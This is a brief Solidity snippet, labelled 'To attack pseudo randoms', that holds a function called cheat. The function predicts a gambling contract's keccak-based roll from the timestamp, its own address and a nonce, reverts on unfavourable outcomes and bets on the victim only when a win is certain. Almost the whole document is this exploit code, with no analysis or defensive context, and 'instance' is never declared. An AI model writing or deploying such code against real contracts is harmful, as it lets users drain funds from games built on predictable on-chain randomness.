To attack pseudo randoms.

Cheat.solidity

function cheat(uint nonce, uint256 amount) external returns (uint stakeInput, uint spinUnderInput, uint spin, uint payout, uint prize, uint previousBalance, uint newBalance) {
        uint randomnumber = uint(keccak256(abi.encodePacked(now, address(this), nonce))) % 100;
        require(randomnumber >= 11, "rolled number too low");
        require(randomnumber <= 89, "rolled number too high");
        return instance.bet(amount, (randomnumber + 2));
    }